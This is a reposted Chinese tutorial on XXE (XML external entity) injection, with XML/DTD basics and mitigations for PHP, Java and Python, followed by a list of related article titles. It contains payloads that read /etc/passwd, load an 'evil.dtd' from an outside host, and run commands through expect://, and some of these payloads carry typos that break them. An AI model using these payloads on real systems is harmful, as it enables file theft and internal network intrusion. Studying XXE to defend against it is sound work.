转自https://www.jianshu.com/p/7325b2ef8fc9

0x01 XML基础

在聊XXE之前,先说说相关的XML知识吧。

定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note> 

DTD

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要的关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体类别介绍

实体主要分为一下四类

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

举例:
内部实体

<!ENTITY 实体名称 "实体内容">

外部实体

<!ENTITY 实体名称 SYSTEM "URI">

参数实体

<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">

注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

外部实体

默认协议

PHP扩展协议

举例:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo> 

0x02 XXE漏洞

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

举例

  1. 恶意引入外部实体(1)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a> <value>&passwd;</value> </a> 
  1. 恶意引入外部实体(2)
**XML内容**
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %d; ]> <aaa>&b;</aaa> 

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">
  1. 恶意引入外部实体(3)

XML文件内容

<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a> 

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE的危害

  1. 读取任意文件
    - 有回显
    XML.php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?> 

访问XML.php可以读取etc/passwd文件内容

    - 无回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data); 

远程服务器的evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">
  1. 命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?> 
  1. 内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

0x03 XXE漏洞修复与防御

  1. 使用开发语言提供的禁用外部实体的方法
    PHP
libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
  2. PHP:
    libxml_disable_entity_loader(true);
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    Python:
    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    0x05 寻找XXE

0x04 遗留问题(已解决)

以上测试在php5.4一下包括5.4是成功的,php5.5及以上是不成功的。可能的原因是5.5以上版本后,simplexml_load_string()、DOMDocument::loadxml()等不解析外部实体导致都不到文件还是因为libxml2版本的问题,还是高版本的php本身默认不解析外部实体呢,还是其他神恶魔原因呢?如果是因为php本身问题,那么XXE的利用范围也太过小了吧,应该不是这样的。。但是讲道理网上的资料太老了吧,估计也是参考别人的自己没有试验吧,等有空再做实验看看是什么问题。
(2017.9.20更新)
今天在弄phith0n的vulhub的时候,无意间看到php-xxe的项目,得到了我想要的结果。XXE的利用跟php版本没有关系,而是xmllib的版本问题,xmllib2.9.0以后,是默认不解析外部实体的。

0x05 参考文献

https://security.tencent.com/index.php/blog/msg/69
http://php.yjsweb.cn/php/68075544811183197241.html
https://thief.one/2017/06/20/1/

作者:Pino_HD
链接:https://www.jianshu.com/p/7325b2ef8fc9
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

转载于:https://www.cnblogs.com/drkang/p/8449938.html

XXE漏洞攻击与防御相关推荐

  1. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  2. 【XXE】XXE漏洞攻击与防御

    0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. ...

  3. XXE漏洞原理及防御方式。

    目录 1.xml 简单了解 1.1 xml声明 1.2文档类型定义 1.3文档元素 1.4代码详解 2.DTD两种使用方式 2.1内部声明 2.2外部声明 3.DTD实体 3.1内部实体声明引用 3. ...

  4. xxe漏洞原理与防御

    xml基础知识 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成.另外php版本大于5.4.45的默认不解析外部实体 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数 ...

  5. php文件上传漏洞攻击与防御

    转自:http://www.cnblogs.com/crazylocust/p/6759529.html 前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中 ...

  6. 文件上传漏洞攻击与防御

    前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客, ...

  7. 微软的漏洞攻击与防御

    SolarWinds黑客卷土重来,继续攻击微软新漏洞 据微软公司表示,Nobelium黑客组织入侵了一名技术支持人员的电脑,并对其客户发动了暴力破解攻击. 目前尚不清楚这名支持人员的电脑被入侵了多长时 ...

  8. MS17-010漏洞攻击与防御(利用永恒之蓝攻击Win7系统)

    任务1 利用永恒之蓝攻击Win7系统 在Kali终端中输入命令"msfconsole ",启动Metasploit:输入命令"use auxiliary/scanner/ ...

  9. 1016.XXE漏洞攻防学习

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

最新文章

  1. 学会放下包袱,热爱单例
  2. excel 2010 学习笔记一 Vlookup 函数的使用
  3. mysql show timestamp_mysql中 datatime与timestamp的区别说明
  4. You can't specify target table 'myusertable' for ......in FROM clause
  5. Nginx 笔记与总结(3)配置虚拟主机
  6. Windows 10环境下「MSCOCO Captions」评估代码踩坑记录
  7. R语言进行文件夹操作示例(转)
  8. sql server 性能_如何在SQL Server中收集性能和系统信息
  9. Linux内核配置和编译过程详解
  10. 抖音自拍特效如何java实现_抖音特效在 Web 端的实现
  11. speechrecognition
  12. 关于智能水表背后的“节水效应”
  13. 【爬虫实战】国家企业公示网-项目分析
  14. 江湖有故人!欢迎来到程序员的江湖
  15. 微信认证300元发票获取
  16. 使用浏览器打开exe文件
  17. 使用Grunt生成雪碧图
  18. shader编程-三维场景下SDF建模,平滑交集、平滑并集、平滑差集(WebGL-Shader开发基础11)
  19. 考研英语核心词汇梳理一
  20. 做产品引流如何设计引流诱饵?引流核心的步骤是什么?

热门文章

  1. 《scikit-learn》数据标准化与SVM之SVC
  2. 计算机网络 —— 计算机网络的性能指标
  3. Dirichlet Process和Hierarchical Dirichlet Process的理解(PPT)
  4. Scintilla 3 24在MFC中的使用 动态 静态
  5. 【mac】vmware tools 在菜单上显示灰色无法安装的问题
  6. QT Basic 014 Model/View programming (模型、视图编程)
  7. python打印一个对象的所有属性_python打印出所有的对象/模块的属性代码详解
  8. java 字母随机数_java如何生成指定长度的随机数字和英文的字符串
  9. mysql+性能优化+命令_MySQL 性能优化及常用命令
  10. oracle11查看dblink,配置oracle11g通过dblink+透明网关访问GBase